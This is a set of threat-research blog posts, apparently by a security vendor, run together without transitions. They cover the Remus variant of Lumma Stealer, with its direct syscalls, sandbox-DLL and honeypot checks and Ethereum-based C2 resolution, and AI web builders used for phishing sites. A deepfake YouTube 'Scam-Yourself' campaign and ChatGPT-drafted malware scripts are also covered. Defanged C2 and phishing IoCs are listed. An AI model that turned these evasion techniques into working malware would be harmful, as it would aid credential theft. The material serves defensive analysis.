This type of check is relatively rare. So far, only a handful of families have been observed employing it – namely, <a href="https://outpost24.com/blog/lummac2-anti-sandbox-technique-trigonometry-human-detection/">Lumma</a>, <a href="https://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/" target="_blank">Rhadamanthys</a>, Remus, and <a href="https://www.gendigital.com/blog/insights/research/defeating-aurastealer-obfuscation">more recently also AuraStealer</a>, albeit AuraStealer takes a slightly different approach (rather than simply displaying a warning and waiting for the user to click <code>Yes</code> or <code>OK</code>, it additionally requires the user to enter a randomly generated code shown in the dialog).&nbsp;However, despite the surface-level similarity, the underlying implementations differ. <a href="https://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/">Rhadamanthys displays its warning dialog</a> using <code>MessageBoxW</code>, whereas both Remus and Lumma invoke it through a direct <code>NtRaiseHardError</code> syscall.&nbsp;<h3>Direct syscalls/sysenters</h3>Both Remus and Lumma make use of direct syscalls/sysenters. While their implementations differ in some details, mostly as a natural consequence of the 32-bit vs 64-bit architecture, the overall design is strikingly similar.One of the first things both do upon execution is that they enumerate all <code>Nt</code>-prefixed exports from <code>ntdll.dll</code> and build a lookup table mapping their name hashes to the corresponding Syscall Service Numbers (SSNs). The process is the same in both cases: they walk the <code>ntdll.dll</code> export directory, hash each matching export name, and scan the first 32&nbsp;bytes of each function’s prologue to extract the SSN from the <code>mov eax, &lt;SSN&gt;</code> instruction. The extracted SSN is then stored alongside the export’s name hash in a hash-to-SSN lookup table.&nbsp;

To invoke a specific syscall/sysenter, both perform a linear scan of the lookup table until they find an entry whose hash matches the requested function. The SSN from the matching entry is then passed to a central dispatcher, which we refer to as <code>lumma_sysenter</code> and <code>remus_syscall</code>. The calling conventions of those dispatcher functions are nearly identical: the first argument is the SSN, followed by the argument count and the variadic arguments themselves. The only difference is that Lumma expresses the argument count in bytes (<code>number_of_arguments × 4</code>), whereas Remus passes the actual count directly.

The dispatchers themselves look different at first glance, but this is mostly a consequence of ABI differences between 32-bit and 64-bit code. The core logic is the same: arrange the syscall/sysenter arguments and invoke the kernel. Remus does so directly via the&nbsp;<code>syscall</code>&nbsp;instruction. Lumma, on the other hand, resolves a dispatcher address during the hash-to-SSN initialization through a fallback chain: it first attempts to resolve the <code>Wow64Transition</code> export from <code>ntdll.dll</code> using API-hashing, then tries the <code>TEB-&gt;WOW32Reserved</code>, and finally, if that value is <code>NULL</code>, falls back to a hardcoded <code>sysenter</code>stub. Each of these fallback mechanisms ultimately achieves the same outcome – a transition from user-mode 32-bit code into the kernel.

Separately from the 32-bit <code>sysenter</code> dispatch, Lumma also employs Heaven’s Gate, a&nbsp;technique that allows 64-bit code to be executed from within a 32-bit process on a 64-bit operating system. Lumma uses it specifically when interacting with 64-bit browsers (during the ABE bypass) to call native 64-bit <code>ntdll.dll</code> functions that have no NtWow64 equivalents – namely <code>NtCreateThreadEx</code> to start the injected thread, <code>NtFreeVirtualMemory</code> for clean up, and <code>NtQueryVirtualMemory</code> to query the browser’s memory layout. The remaining cross-process operations, such as memory reads, memory allocations, and shellcode writes, are handled through standard NtWow64 sysenter calls (<code>NtWow64ReadVirtualMemory64</code>, <code>NtWow64AllocateVirtualMemory64</code>, and <code>NtWow64WriteVirtualMemory64</code>). Since Heaven’s Gate is inherently a WoW64 technique applicable only to 32-bit processes running on 64-bit systems, and Remus is a 64-bit binary, it has no equivalent. Remus simply uses direct syscalls for all these operations.<h3>Shared code patterns</h3>Another striking similarity is the layout of many functions, which shows a remarkable resemblance and, in some cases, is nearly identical (if we disregard the obfuscation and differences caused by 32-bit vs 64-bit code). While there are many such functions, we highlight two concrete examples. The first is the heap allocation wrapper, which Remus and Lumma implement in a virtually identical manner, as illustrated in Figures&nbsp;24 and 25. Furthermore, the same holds for other memory helpers, such as the reallocation and deallocation wrappers.&nbsp;

The second example is the clipboard-stealing routine (Figures 26 and 27). Both implementations follow the same sequence: they open the clipboard, retrieve its contents, convert it from UTF-16 to UTF-8, decrypt the output filename <code>Clipboard.txt</code> using a stack-based decryption loop, and finally append the result to the exfiltration archive. The only difference is that Remus wraps each API call in a thin stub, which, however, might just be a result of different compiler optimization.

Notably, although the vast majority of API calls are obfuscated through API hashing, the clipboard functions <code>OpenClipboard</code>, <code>GetClipboardData</code>, and <code>CloseClipboard</code> are among the very few unobfuscated imports in both binaries.Equally notable is the entry point structure. Both Remus and Lumma begin executing their malicious logic directly from the PE entry point (the&nbsp;<code>start</code>&nbsp;function), with no runtime initialization whatsoever. In a typical C/C++ binary, the entry point calls the CRT startup routine, which sets up the heap, initializes global variables, registers exception handlers, processes the command line, and invokes static constructors before eventually calling&nbsp;<code>main</code>. However, neither Remus nor Lumma follows this pattern. Instead, both jump directly from the entry point into their core logic: resolving modules and APIs, performing anti-analysis checks, initializing C2 communication, and exfiltrating data, ending with a direct call to <code>ExitProcess(0)</code>. This suggests both were compiled without linking to the standard C runtime, likely a deliberate choice to minimize the binary size and reduce unnecessary dependencies.The structural similarities extend further. Both binaries share the same section layout, with each section serving an identical semantic role. Even the C2 configuration follows the same pattern: in both cases, the encrypted blob, key, and nonce are statically embedded in the <code>.rdata</code> section and decrypted at runtime using ChaCha20.To summarize, we strongly believe the degree of similarity between the two codebases is too deliberate to be a coincidence, pointing to a single, shared origin.<h3>Indirect control flow obfuscation</h3>Finally, both Remus and Lumma make use of control flow obfuscation by replacing direct jumps with indirect ones, where the target is read from an offset stored in the <code>.data</code> section. As shown in Figure 28, this technique takes several forms. In its simplest case, the target address is resolved by a single pointer dereference (highlighted in yellow). In more complex cases, it extends to a full jump table, where a computed index selects among several target addresses stored consecutively in the <code>.data</code> section (highlighted in orange). Lastly, in some cases, the target address is first loaded into a register (highlighted in blue) and then jumped to via a register-based indirect jump (highlighted in pink).

Although functionally equivalent to normal jumps, the indirection&nbsp;complicates the control flow analysis in two ways. First,&nbsp;some of the indirect jump targets cannot be statically determined (for example, when the register holding the target address can be set in multiple different preceding basic blocks, each potentially loading a different target), leaving the control flow graph incomplete as the connections between basic blocks are lost. Second, some of these orphaned blocks end up being misidentified as standalone functions, further disrupting function boundary detection and leading to a broken, incomplete decompiler output. Notably, Figure 28 also provides another glimpse of the <code>nop</code> paddings discussed earlier.

Both binaries contain hundreds of these indirect dispatch points, and once again, if we set aside the minor differences arising from the 32-bit vs. 64-bit differences, the obfuscation is virtually identical. Although removing the obfuscation entirely requires more effort, the IDA’s decompiler output can be significantly improved by marking the referenced offsets as constants. For those interested, we covered this trick in our <a href="https://www.gendigital.com/blog/insights/research/defeating-aurastealer-obfuscation">AuraStealer blog post</a>, along with other approaches for tackling control flow obfuscation.<h2>What’s new in Remus</h2>Having covered the key similarities between Remus and Lumma, let’s now focus on what is new in Remus. The core architecture is clearly inherited from Lumma. Still, several changes go beyond a straightforward 32-bit-to-64-bit port. These range from refactored strings and more thorough device fingerprinting to a different exfiltration archive format, a switch from FNV-1a to CRC32 for API hashing, and an overhauled C2 communication that has been restructured to deliver dynamic configurations incrementally rather than in a single large blob. &nbsp;The most significant changes, however, are the replacement of traditional Steam/Telegram dead drop resolvers with blockchain-based C2 resolution using EtherHiding, a persistence technique allowing attackers to store malware-related data (such as domains, payloads, encryption keys, among others) on blockchain as a smart contract, and the introduction of additional anti-analysis checks.<h3>Dead drop resolvers via EtherHiding</h3>Both Remus and Lumma employ dead drop resolvers, a mechanism in which the malware does not contact its C2 server directly but instead retrieves the C2 address at runtime from an intermediary hosted on a legitimate platform. This makes the infrastructure significantly more resilient, as if a C2 domain is taken down, the dead drop can be adjusted to point to a new server without the need to distribute an updated binary. Moreover, the dead drop URLs typically reside on well-known, high-reputation services, making them more difficult for security vendors to block without collateral damage.Where the two differ is in the choice of platform. Lumma relies on Steam profiles and Telegram channels, typically encoding C2 URLs using ROT-15, while Remus goes a step further, replacing these with Ethereum smart contracts. At runtime, it sends an <code>eth_call</code> JSON-RPC request to a hardcoded contract address via a public RPC endpoint and extracts the C2 URL from the hex-encoded response. Because blockchain data is decentralized and immutable, there is no platform operator to report abuse to, making the dead-drop effectively immune to takedowns.Just like Lumma’s Steam profile URL, Remus stores the smart contract address separately from the static C2 configuration, as a stack-encrypted string. Notably, after the JSON response is retrieved, the C2 address is, at least for now, merely hex-encoded in the <code>result</code> field (no other obfuscation, such as ROT-15 in case of Lumma, is applied).

<h3>Additional anti-analysis checks</h3>Remus introduces two additional anti-analysis mechanisms, both evaluated early during startup (before connecting to its C2). If either check fails, the malware silently terminates via <code>ExitProcess(0)</code>.&nbsp;The first check targets sandbox and analysis tool DLLs. Remus walks the PEB's <code>InLoadOrderModuleList</code>, hashes the name of every loaded module using a CRC32 variant with a custom initialization constant, and compares the result against 11 pre-computed hashes stored in its <code>.rdata</code> section, each corresponding to a module commonly injected by analysis environments, including Avast sandbox (<code>snxhk.dll</code>), Sandboxie (<code>sbiedll.dll</code>), Comodo sandbox (<code>cmdvrt32.dll</code>, <code>cmdvrt64.dll</code>), and several others.&nbsp;

If no sandbox DLLs are detected, Remus proceeds by expanding the path&nbsp;<code>%UserProfile%\Documents\Outlook Files</code>, enumerating all&nbsp;<code>*.pst</code>&nbsp;files in that directory, and checking for the presence of&nbsp;<code>honey@pot.com.pst</code>, which would be treated as a sandbox environment.&nbsp;<h2>Summary</h2>In this analysis, we described our findings regarding a new x64 variant of Lumma Stealer, which we call Remus. We focused on various similarities and differences between Lumma and Remus, thoroughly describing the technical aspects of both. We also provided a timeline, referencing the very first test builds of Remus (historically called Tenzor), which correlate with the extensive doxxing of Lumma authors from late August to October 2025.The key aspects that allowed us to attribute Remus as a new x64 version of Lumma are the use of the same string obfuscation technique, AntiVM checks, direct syscall/sysenter handling, indirect control flow obfuscation, and, most importantly, an almost identical approach to bypassing AppBound Encryption, which we’ve only seen used by Lumma to date.Remus, however, is not merely an x64 port of Lumma. It also introduces a couple of novel techniques in how it operates, including the use of EtherHiding instead of a traditional approach of using Steam/Telegram as dead drop resolvers, as well as additional anti-analysis checks to evade a wider range of security vendors.<h2>Indicators of Compromise (IoCs)</h2>A complete IoC list is available on our <a href="https://github.com/gendigitalinc/ioc/tree/master/Remus">GitHub</a>.<h3>C2 domains</h3>hxxp[://]217[.]156[.]122[.]12:80 hxxp[://]217[.]156[.]122[.]57:80 hxxp[://]217[.]156[.]122[.]75:1378 hxxp[://]45[.]151[.]106[.]110:80 hxxp[://]80[.]97[.]160[.]155:80 hxxp[://]86[.]107[.]168[.]103:80 hxxp[://]94[.]231[.]205[.]229:28313 hxxp[://]adveryx[.]biz:6573 hxxp[://]backbou[.]biz:5902 hxxp[://]baxe[.]pics hxxp[://]baxe[.]pics:48261 hxxp[://]borscer[.]biz:9592 hxxp[://]buccstanor[.]pics hxxp[://]buccstanor[.]pics:28313 hxxp[://]buccstanor[.]pics:48261 hxxp[://]chalx[.]live:5902 hxxp[://]chromap[.]biz:4219 hxxp[://]coox[.]live:28313 hxxp[://]drymoge[.]biz:4192 hxxp[://]forestoaker[.]com:6290 hxxp[://]gluckcreek[.]online:48261 hxxp[://]intem[.]lat:9592 hxxp[://]interxo[.]biz:7481 hxxp[://]josegza[.]biz:8521 hxxp[://]krondez[.]com:28982 hxxp[://]lazzo[.]bet:3989 hxxp[://]managew[.]biz:5902 hxxp[://]navelum[.]biz:3201 hxxp[://]nitroca[.]biz:6782 hxxp[://]outcrol[.]biz:4895 hxxp[://]padaz[.]pics:4219 hxxp[://]parky[.]pics:3989 hxxp[://]prickaz[.]biz:2039 hxxp[://]remnane[.]biz:5692 hxxp[://]ropea[.]top:28313 hxxp[://]siltsoh[.]biz:7481 hxxp[://]texakgi[.]cloud:3849 hxxp[://]vinte[.]online hxxp[://]vinte[.]online:28313 hxxp[://]woodena[.]biz:7821 hxxp[://]zadno[.]run:4219 hxxps[://]cheekiez[.]biz hxxps[://]nobleckly[.]biz&nbsp;<h3>Remus SHA-256 (Non-exhaustive)</h3>0a8f734f10400f7ae8fef591147e78dab6350089683be84c1cb6c82113cb1319 25e74a76f2f3601abcb20fd743a7e3cf3befd5a3838c7501af5d87d293233809 4428c3ffe2532f162f31d7573bbc1cca2299195421da3d8e8a3e535e9fc42b08 484e3ab5d425a97819f01dcc330e005dc444c51625bfdcd7ea9a3954018d1fc9 64db10e76b46be8db36e02993d36559bc3f86606c9ea955731872b716c8f0c69 788b56e9be2f1dd6a977dce0265f293ab42d3e8ffb287ab584e169fbf115da1f 8653d7158486aa10fc0078c3ca9318cd7ace05d4b3e6f3b1fb84ffb7a6a339ec a4f111e5425690fcd384c62ecb5b57b0f645925572af3541748e01d810cd2b40 ab2e47720388fa201e242552f8d8b82363c6c52f6c63fa3fec9dce027cb12e77 bc11d036fe59abb3915f736307c56d2fd43e8127e46c31f926eeda864f4d66dc c3f7cea80dbafaa90a88b28a6dfb1227caaf5c2a29f0ce06bf663d6ed2cfc079&nbsp;<h3>Tenzor SHA-256&nbsp;</h3>0580ebf601989457f0708799b431fd4d9f5e59d98838282d72936099aa6636da 7a25253e6d8d9ccf62a67f8014cacb301daf9e40f1b68ecc7f354d6896d16960 cab7855ccfca19a06eea76e0e170f592dcc95906ecfa5436f5a11947e04e63d5 dfbeab30d14df9104a95de83ab4690308c653eb0c3706554687c45a77adc1385

The Lumma Rebrand We’ve Been Waiting For?

Remus: Unmasking The 64-bit Variant of the Infamous Lumma Stealer

Sr Threat Analysis Engineer

Junior Threat Analyst Intern

Welcome to the era of VibeScams, where creating a phishing site takes just a few clicks. Using simple prompts, scammers can create nearly any type of website almost instantly, without any prior knowledge. Some web-building platforms recreate an entire site from a screenshot provided by the scammer – from a home page to a shopping cart. They typically also allow perfect language localization, letting scammers instantly clone a legitimate site’s look and feel in multiple languages.&nbsp;This new wave of AI-driven web building tools has dramatically lowered the barrier to entry for cybercriminals, democratizing access to sophisticated site cloning and scam operations. No longer limited to those with knowledge of HTML, CSS, and JavaScript, these platforms allow anyone with an internet connection to replicate trusted brands, banking portals, or exchange interfaces with alarming fidelity. The ease and speed of this process not only accelerate the proliferation of fraudulent websites but also makes it increasingly difficult for users to distinguish between genuine and malicious websites.&nbsp;&nbsp;<h2>A new kind of phishing — VibeScams&nbsp;</h2>We call them VibeScams because the trick isn’t in the code alone — it’s in the feeling. These pages pass the “vibe check”: the right colors, spacing, logo placement, and tiny footer links people trust at a glance. Because AI web builders can recreate that look from a single prompt or screenshot, attackers don’t need coding skills — they only need to get the vibe right. That’s enough to trick people into handing over credentials or cash, and it’s why this wave of scams spreads so fast.&nbsp;

As part of our research for this article, we contacted the web builders which attackers leverage more prevalently, according to our detections. We would like to share our appreciation for those companies, including Lovable, Elementor, Flazio, Softr, Webflow, WebWave, among others, for their fast reactions, quick banning of the websites, and overall cooperation. We would like to encourage anyone who stumbles upon suspicious or malicious websites to also report them to the specific providers. It matters and makes a difference.&nbsp;<h2>VibeScams as an Evolution of Phishing&nbsp;</h2>AI-powered web builders make it easy for anyone—even without coding or design skills—to create professional-looking websites quickly and cheaply. By automating templates, layouts, and even content, these tools lower barriers and speed up development, but they also give attackers the same advantages, enabling scams and phishing campaigns with minimal effort. The process of using such a web builder is so intuitive and user-friendly, it’s familiar to almost everyone. Individuals are typically presented with a simple screen containing a textbox, prompting users to immediately fill in a few lines of instructions to build their dream website. Below, you can find an example of a prompt screen from Lovable, one of the popular AI web building platforms:&nbsp;

AI chatbots always have been constrained in the space what the chatbot allows the user to prompt for. These security mechanisms, which are called “guardrails,” serve as a control system to detect malicious, harmful, or otherwise inappropriate prompts and block the associated responses. However, as we will see in the below examples of impersonating reputable brands, these mechanisms are frequently insufficient.&nbsp;As is typical with phishing and scams, attackers tend to focus on brands, topics or products that are already popular. Typical scam sites include cryptocurrency exchanges, investment portals, banking sites, social media platforms, delivery services, shopping sites and much more.&nbsp;Below, you can find a couple of examples of scam and phishing sites we observed hosted on many of these platforms, all AI generated. Other examples we discovered included MetaMask, DHL and AT&amp;T, among many others.&nbsp;&nbsp;

From cryptocurrency exchanges to fake e-shops and login pages, we’ve also seen other typical types of scams&nbsp; – such as tech-support scams. As can be seen below, in this case, it was recreated using an AI web builder and even localized into German. The attacker likely just uploaded a screenshot of a traditional scam page and asked the AI to rebuild and host it, making the whole process effortless.&nbsp;

While talking about brand impersonation, which is an attempt to mimic the design, logos, content, and URL of a well-known and respected brand, we’ve observed multitude of additional cases using AI web builders. This way the user is easily tricked into believing the website they visited is the official website of the brand. A few examples of brand impersonation of well-known crypto exchange platforms can be found below. Note that none of these are legitimate websites of known cryptocurrency exchanges or login sites for that matter, all of them are either phishing or otherwise scam websites:&nbsp;<ul><li>auth-binance.webflow[.]io</li><li>binance-cdn-auth.webflow[.]io</li><li>coinbase-wallet-verify.replit[.]app</li><li>coinbase-wallet.squarespace[.]com</li><li>auth-coinbase-login.typedream[.]app</li><li>chrome-coinbase-extension.typedream[.]app</li><li>wallet-coinbase.typedream[.]app</li><li>microsoft-teams-login.elementor[.]cloud</li><li>microsoft-outlookserver.odoo[.]com</li><li>cz-microsoft.webflow[.]io</li><li>updateaccount-microsoft.webflow[.]io&nbsp;</li></ul>

Typosquatting is very typical as well. This means the attackers are choosing similarly looking names, with one or more changed characters in the URL:&nbsp;<ul><li>app—trrezor-wallet.webflow[.]io</li><li>app-atomiic-wallet.webflow[.]io</li><li>coiinbase-com-wallet.typedream[.]app</li><li>connect-metamesk-wallet.typedream[.]app&nbsp;</li></ul>A broader list of IoCs can be found in our <a href="https://github.com/avast/ioc/tree/master/VibeScams" target="_blank" rel="noreferrer noopener">GitHub</a>.&nbsp;<h2>Scam Types – Breakdown&nbsp;</h2>Nearly half of the detected websites were traditional phishing pages impersonating familiar login portals like Microsoft, Gmail, or Amazon. About a quarter targeted the cryptocurrency space—either by mimicking popular exchanges such as Coinbase, Binance, and MetaMask, or by promoting cryptocurrency-based investment scams. The remainder included more general scams and other malicious pages.&nbsp;

<h2>Our Testing&nbsp;</h2>During our research, we took this opportunity to try a few web builders ourselves, to see how easy it actually is to create a website resembling known brands. We also used only free versions of the web builders to see what the baseline looks like.&nbsp;You can see our results in a few examples below:&nbsp;

In our opinion, the AI generated testing websites look fairly convincing and they took no money and almost zero effort to create. That’s because we didn’t want to kill the vibe, so we also created all the testing prompts using AI and simply copy and pasted them into the AI web builders. In most cases, we didn’t need any further prompting or tweaking.&nbsp;Note that what we generated here are only the designs. For phishing and scam sites to work properly, there also needs to be some functionality provided, for example credentials exfiltration. Additional functionality like this is commonly offered in paid subscriptions of the web builders, or the attacker can use once again other LLMs to implement this directly into the code because in a lot of cases they can download the design locally and continue the work from there.&nbsp;This demonstration directly showed us the core of why the attackers are using this – they don’t need to understand web at all to create highly believable websites for free (we only used free versions of the web builders).&nbsp;<h2>Pricing models&nbsp;</h2>In general, we consider these services to be cheap since there is quite a bit of competition and the user/attacker has plenty of choices to try, even for free. The fact that the attacker requires almost no skill to create a scam or phishing website highly outweighs the costs here.&nbsp;The range of paid offers is vast, spanning from $0.5 per month to $500 per month, with a variety of free tiers and/or trial periods. Some of the providers also offer lifetime deals for $249 or $599.&nbsp;Many of these subscriptions use a relatively common credits-based model where the customer receives credits which they can use for the AI prompts. Additional aspects, since many of the web builders also offer hosting for the generated webpages, are the website limit, subdomain name selection and the ability to change the subdomain name in the future.&nbsp;Finally, some of the web builders also offer APIs that can be used for streamlining the webpage creation, making the whole process more automatic.&nbsp;<h2>The Impact&nbsp;</h2>It’s important for defenders and analysts to recognize just how accessible and varied these platforms have become. Because the barrier to entry is so low and payment models are flexible, we’re seeing a rapid growth in the number of AI-generated scam and phishing websites. This massive availability means the attackers can quickly spin up new designs and relaunch new scams almost instantly.&nbsp;In total, we were investigating 40 different AI web builders, 12 of which we directly contacted due to a high volume of identified malicious websites. In total, from the beginning of 2025 to the end of August, we blocked approximately 140,000 different AI-generated websites during this time, which makes roughly 580 new malicious generated websites every day, on average.&nbsp;Since January 2025 alone, we protected nearly 190,000 our users, with the U.S., France, Brazil, Germany, and Japan among the most affected. This shows that misuse of AI web builders is a world-wide problem, and we can only expect the threat landscape to grow.&nbsp;

<h2>Conclusion&nbsp;</h2>During our research, we investigated various AI web builders which are being misused by attackers for performing what we call VibeScams – a creation of scam or phishing pages without the need of any knowledge of coding or web creation.&nbsp;AI web builders provide support for individuals who are not technically invested in creating websites, where a simple prompt can suffice for building a new website from scratch. This results in a double-edged sword where it is very useful for both regular users as well as for attackers, which is rather typical with other various AI tools, too.&nbsp;Many of the malicious webpages follow the expected pattern of brand impersonation for phishing attempts and scams, which our research has seen daily for many years. The difference is that with the AI web builders, the attackers need to invest little to no effort or knowledge into creating them. As the AI web builder ecosystem evolves, it’s clear that new features and easier integrations will fuel even more sophisticated phishing campaigns in the future.&nbsp;How to protect yourself:&nbsp;<ul><li>Always watch out for too good to be true offers or investment opportunities</li><li>When dealing with a known brand, always verify whether this is the official website</li><li>Look out for any deviations from the designs you are already familiar with</li><li>Use unique passwords and MFA everywhere, preferably along with a reputable password manager</li><li>Use a reputable AV solution to be proactively protected against phishing and scam attempts</li><li>When in doubt, use products like Norton 360 with AI-powered scam protection to consult the security of links and web pages&nbsp;</li></ul><h3>Indicators of Compromise (IoCs)&nbsp;</h3>A broader list of IoCs can be found on our <a href="https://github.com/avast/ioc/tree/master/VibeScams" target="_blank" rel="noreferrer noopener">GitHub</a>.&nbsp;auth-binance.webflow[.]io&nbsp; binance-cdn-auth.webflow[.]io&nbsp; coinbase-wallet-verify.replit[.]app&nbsp; coinbase-wallet.squarespace[.]com&nbsp; auth-coinbase-login.typedream[.]app&nbsp; chrome-coinbase-extension.typedream[.]app&nbsp; wallet-coinbase.typedream[.]app&nbsp; microsoft-teams-login.elementor[.]cloud&nbsp; microsoft-outlookserver.odoo[.]com&nbsp; cz-microsoft.webflow[.]io&nbsp; updateaccount-microsoft.webflow[.]io&nbsp; app—trrezor-wallet.webflow[.]io&nbsp; app-atomiic-wallet.webflow[.]io&nbsp; coiinbase-com-wallet.typedream[.]app&nbsp; connect-metamesk-wallet.typedream[.]app&nbsp;

AI web builders are fueling a surge in realistic phishing sites that anyone can make

VibeScams: How AI website builders are shaping the internet 

Cybercriminals continue to refine their methods, and our latest discovery ties together multiple advanced attack techniques into a single campaign which demonstrates the latest trend in “Scam-Yourself” attacks. This particular campaign utilizes fully AI-generated videos created using deepfake principles and AI-generated scripts, created with ChatGPT and hosted on Pasteco and other script sharing websites. In our&nbsp;<a href="https://www.gendigital.com/blog/insights/reports/threat-report-q3-2024">Q3/2024 Threat Report</a>, we reported a 614% surge from “Scam-Yourself” attacks, those which&nbsp;manipulate people into voluntarily downloading malware or compromising their own security. Shortly after, we announced our&nbsp;<a href="https://www.gendigital.com/blog/news/family-of-brands/clipboard-protection">Clipboard Protection</a> feature, adding an extra security layer against these attacks. In a matter of days, we uncovered&nbsp;<a href="https://www.gendigital.com/blog/insights/research/cybercriminals-leveraging-chatgpt-to-create-malicious-payloads">cybercriminals actively leveraging ChatGPT to create and refine malicious payloads</a>. This article sheds light on the latest evolution of these tactics.What makes this discovery even more significant is the revelation that the campaign originates from a well-crafted video hosted on a verified YouTube channel with 110,000 subscribers. The channel appears to have been either compromised or acquired, and the video has already amassed +24,000 views. Additionally, numerous YouTube accounts, all variations of the same AI-generated profile, have been used to amplify the scheme, accumulating hundreds of thousands of subscribers.

<h2>The Dangerous Convergence of Threats</h2>This campaign connects multiple security challenges:<ul><li>Compromised accounts: The attack likely started with data theft using information stealers, allowing cybercriminals to take control of a verified YouTube channel and repurpose it for their scam operations. The channel, at first glance, appears legitimate as it includes a list of videos from the official TradingView channel, making it seem trustworthy. However, it also contains an unlisted deepfake video, which can be shared externally. This deception makes it difficult for victims to identify the fraud when viewing the channel. Furthermore, numerous fake accounts have been created, misusing this person as the “face” of multiple fraudulent channels. These fake YouTube accounts using the AI persona of Thomas Harris / Thomas Roberts have hundreds of thousands of subscribers. Many appear to be taken over or bought-off old accounts, some dating back to 2011. These accounts are continuously being taken down. Additionally, the engagement on these channels is manipulated, with all positive comments typically being 'bought' and added in bulk within a short period. Some of the observed fake accounts include @ThomasHarris-Iives, @thomas_hrris_a, @Thomas_View, @Thomas_Harris_Us, @ThomasRoberts_crypto, @tiommewweb3, @Thomas_Now, @RudoAMIN, and @UC6QvVs237am4RyYo1vGHF3g.</li></ul>

<ul><li>Deceptive tutorial video: The video presents itself as a tutorial to unlock TradingView’s developer mode, claiming that doing so will provide AI-powered indicators to help users grow their portfolio by a significant percentage. This lure is designed to appeal to individuals looking for an easy way to maximize their financial gains, making them more susceptible to following the video's malicious instructions.</li></ul>

<ul><li>Deepfake technology: The video appears to depict a completely AI-generated person, with no identifiable real-world counterpart. It utilizes techniques similar to those used in deepfake creation, combining voice, facial synthesis, and body movement replication to create a highly convincing impersonation. Furthermore, we’ve observed more AI-generated videos used across the fake profiles, suggesting attackers are re-creating multiple versions of this well-crafted content.</li><li>AI-generated malicious scripts: The script used in the attack was created with AI, in this particular case with ChatGPT. The script itself remains largely unchanged across different variations of the campaign, with the only significant difference being the Command-and-Control (C&amp;C) address. Attackers modify the C&amp;C domain as previous ones are flagged or blocked, demonstrating an adaptive approach to evade detections.</li><li>Scam-Yourself trend: The video demonstrates the same tactics seen in past attacks, instructing users to manually execute harmful commands (e.g., pressing Win+R and entering specific code).</li><li>Hosting services: Attackers have shifted from pasteco[.]com to equivalent sites such as 0bin[.]net or pastefy[.]com, and likely attacker-controlled domains such as pasteco[.]net and pasteco[.]io, a strategy designed in an attempt to evade detection.</li><li>Remote access and data theft: The end goal of this campaign is to install NetSupport or Lumma Stealer, granting attackers full control over the infected system and enabling data exfiltration. Cryptocurrency serves merely as a lure to attract an audience motivated by easy profit.&nbsp;</li></ul><h2>Malvertising as the origin</h2>Especially when we consider that some of the videos are unlisted and on verified accounts, one might ask how the user comes across such a video in the first place. What we can see is quite a big promotion via Sponsored advertising on YouTube, allowing the videos to pop-up while watching other videos with similar type of content, for example cryptocurrency related investments or other financial opportunities.

In this case, the account was named Oscar Davies, leading to slightly different variant of the AI generated video. This indicates that the attackers don’t hesitate to re-generate the original video to refresh the content and stay undetected for a longer period of time. When following the advertisement, the video is, in this case, also verified with the checkmark. We can see that the account has nearly half a million subscribers, with the video having 12 thousand views and the time of the analysis. Interestingly, these numbers do not match with the advertised views.

We observed multiple different thumbnails and video titles for the advertised videos, too, likely provided by additional AI driven image generation.

<h2>How We Are Protecting Users</h2>Our security solutions detect and block this threat. Our&nbsp;<a href="https://www.gendigital.com/blog/news/family-of-brands/clipboard-protection">Clipboard Protection</a> feature, designed to prevent clipboard-based scams, is particularly relevant in mitigating such attacks. This campaign reinforces the growing importance of proactive security measures against evolving social engineering threats.We remain committed to tracking these threats and investigating similar campaigns as they evolve. With deepfakes, AI-generated malware, and social engineering tactics advancing rapidly, proactive security measures are more crucial than ever. Given the involvement of a major player in this space, Lumma Stealer, it is likely that we will see even more campaigns following a similar model. This trend could lead to the creation of even more sophisticated AI-generated personas, making it increasingly difficult to distinguish real from fake. As cybercriminals refine their techniques, vigilance and robust security measures will be essential in combating these evolving threats. Stay safe and always verify sources before executing any online instructions.<h2>Indicators of Compromise (IoCs)</h2>902387e7be025fbe2c4b1a3f2ea212a26f9cbbcf82f656416b362c84089b712b (PowerShell commandline)a5e0635363bbb5d22d5ffc32d9738665942abdd89d2e6bd1784d6a60ac521797 (PowerShell script)developer-update[.]dev (C&amp;C)1b5b3e104f80e09f006a1080fefae16fed2dbf1abb697e464cbef3f2fabc5d90 (PowerShell commandline)begenokev[.]com/oauth/harum/voluptas (C&amp;C)2fe60aa1db2cf7a1dc2b3629b4bbc843c703146f212e7495f4dc7745b3c5c59e (Lumma Stealer)developerbeta[.]dev (C&amp;C)b89aa5a2837aa09d0caae2bc5be130186f236471411b279049dd1cfce6a5643f (PowerShell commandline)bcbb6de248a95bfdbf4cfe8db8d84f8a10db2896f27cb90058c69b7bb052d506 (PowerShell script)

Inside the Evolution of AI-Powered Scam Tactics

How AI-Generated Personas, Deepfake Tactics and Scripts Are Powering the Next Wave of"Scam-Yourself" Attacks

<h2>Clipboard Protection Reveals ChatGPT’s Role in Malware Attacks&nbsp;&nbsp;</h2>Attackers are constantly seeking innovative ways to deliver malicious payloads – harmful malware components. Our Norton, Avast and AVG brands recently launched Clipboard Protection, and the feature has uncovered an intriguing new development. &nbsp;Through Clipboard Protection, which analyzes content copied from websites in Firefox and Chrome, we identified a sophisticated attack chain involving a Remote Access Trojan (RAT) known as NetSupport RAT. This discovery highlights how attackers are exploiting AI tools like ChatGPT to create and iteratively improve malicious scripts, further enhancing their effectiveness.&nbsp;<h2>From AI to Malware: The ChatGPT Connection&nbsp;</h2>In a recent investigation, we discovered the development process of a malicious script in three distinct stages. The first two iterations were clearly drafts obtained from ChatGPT. AI-generated content’s ability to rapidly generate, adjust and polish technical scripts makes it a double-edged sword. While tools like ChatGPT offer benefits for applications, they also enable malicious actors to streamline the development of harmful payloads.The final version of the script, a polished malicious script, was later copied by unsuspecting users from legitimate content-sharing websites. The script poses as a prompt to "Enable dev-mode for TradingView," urging users to run terminal commands that ultimately install malware on their systems. This tactic leverages the trust and interest in popular platforms like TradingView to manipulate users into unwittingly executing harmful code.&nbsp;<h2>The Stage of the Malicious Script&nbsp;</h2>By analyzing the clipboard data, we were able to trace the evolution of the malicious script:&nbsp;<ol><li>Initial Drafts: Generated via ChatGPT, providing a basic framework for the attack. </li><li>Refinement: Adjustments made by the attackers to improve the script’s functionality and conceal malicious intent. </li><li>Final Version: A seamless, deceptive script disseminated on legitimate platforms, primed for unsuspecting users to execute.&nbsp;</li></ol>

